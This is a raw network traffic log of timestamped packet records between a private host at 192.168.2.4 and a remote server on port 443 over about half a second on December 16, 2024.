Dec 16, 2024 18:28:49.617553949 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.617620945 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.626780987 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.627166986 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.630506992 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.630579948 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.641366959 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.641470909 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.644814014 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.644891024 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.653943062 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.654047966 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.657449007 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.657514095 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.667726040 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.667831898 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.671133995 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.671199083 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.681277990 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.681349039 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.684777021 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.684844017 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.694988012 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.695210934 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.696930885 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.697000027 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.708509922 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.708612919 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.708647013 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.708718061 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.728904009 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.729079962 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.746567965 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.746731997 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.746752024 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.746819019 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.775552034 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.775753021 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.775785923 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.775855064 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.778290033 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.778362989 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.778486013 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.778553963 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.783144951 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.783215046 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.786133051 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.786240101 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.786334038 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.786401033 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.797349930 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.797456980 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.797470093 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.797614098 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.797627926 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.797693968 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.807565928 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.807693005 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.807723045 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.807868004 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.818173885 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.818294048 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.818383932 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.818532944 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.828568935 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.828774929 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.828804970 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.828977108 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.839087009 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.839179993 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.839199066 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.839348078 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.848740101 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.848829031 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.848843098 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.849001884 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.858676910 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.858767986 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.858802080 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.859011889 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.869096041 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.869286060 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.869299889 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.869365931 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.878739119 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.878815889 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.878870010 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.879020929 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.888700008 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.888792992 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.888830900 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.889004946 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.898078918 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.898160934 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.898175001 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.898231030 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.907591105 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.907689095 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.907730103 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.908010006 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.915566921 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.915671110 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.915688038 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.915751934 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.915765047 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.915827036 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.917074919 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.917144060 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.923978090 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.924067020 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.925266027 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.925332069 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.932444096 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.932543993 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.933449030 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.933516026 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.938790083 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.938882113 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.939946890 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.940025091 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.949067116 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.949176073 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.950273037 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.950345039 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.950802088 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.950869083 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.953555107 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.953625917 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.957182884 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.957257986 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.958197117 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.958261967 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.963541031 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.963649988 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.966872931 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.966943979 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.969403028 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.969552040 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.970566034 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.970635891 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.974993944 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.975095987 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.975883961 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.975954056 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.979856968 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.979942083 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.981209993 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.981290102 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.985275030 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.985380888 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.986632109 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.986702919 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.990243912 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.990323067 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.990391016 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.990456104 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.995520115 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.995670080 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:49.995779991 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:49.995840073 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.000560999 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.000633001 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.000658035 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.000710011 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.005836010 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.005959034 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.005965948 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.006020069 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.010744095 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.010822058 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.010854006 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.010912895 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.015788078 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.015852928 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.015996933 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.016238928 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.020662069 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.020745039 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.020776987 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.020838976 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.025744915 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.025804996 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.025829077 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.025893927 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.030778885 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.030855894 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.030904055 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.031013012 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.035733938 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.035801888 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.035819054 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.035891056 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.040647030 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.040714979 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.040760040 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.040828943 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.045347929 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.045450926 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.045521975 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.045584917 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.050415993 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.050489902 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.050507069 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.050576925 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.054817915 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.054892063 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.054936886 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.055003881 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.060848951 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.060939074 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.061115026 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.061182976 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.064289093 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.064361095 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.064522982 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.064587116 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.071346998 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.071438074 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.071631908 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.071696043 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.073765993 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.073833942 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.073853970 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.073915005 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.080665112 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.080768108 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.080805063 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.080885887 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.083311081 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.083429098 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.083578110 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.083637953 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.090799093 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.090888977 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.090943098 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.091005087 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.091890097 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.091967106 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.092027903 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.092082977 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.099280119 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.099380970 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.099409103 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.099479914 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.100523949 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.100610018 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.100677013 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.100749016 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.100764036 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.100836039 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.107460976 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.107569933 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.107599020 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.107647896 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.109128952 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.109193087 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.109215021 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.109267950 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.115792036 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.115880013 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.115931988 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.115993023 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.117471933 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.117605925 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.117624998 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.117686033 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.123950005 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.124007940 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.124109030 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.124166012 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.125777960 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.125830889 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.125910044 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.125956059 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.130378962 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.130466938 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.130486965 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.130599022 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.133626938 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.133706093 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.134038925 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.134111881 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.137676001 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.137732983 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.137878895 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.137932062 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.141345024 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.141427040 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.141464949 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.141519070 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.145679951 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.145772934 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.145849943 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.145931005 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.149233103 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.149296999 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.149584055 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.149636030 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.152820110 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.152896881 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.153002024 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.153060913 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.156208992 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.156261921 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.156411886 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.156465054 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.160003901 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.160084963 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.160267115 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.160321951 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.163564920 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.163707018 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.163779974 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.163836956 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.166680098 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.166744947 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.167052984 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.167112112 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.170002937 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.170068979 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.170156956 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.170303106 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.173156977 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.173222065 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.173275948 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.173335075 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.177139044 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.177261114 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.177275896 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.177331924 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.179487944 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.179559946 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.179660082 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.179721117 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.182508945 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.182586908 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.182600975 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.182652950 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.185471058 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.185544014 CET	49737	443	192.168.2.4	142.250.181.1
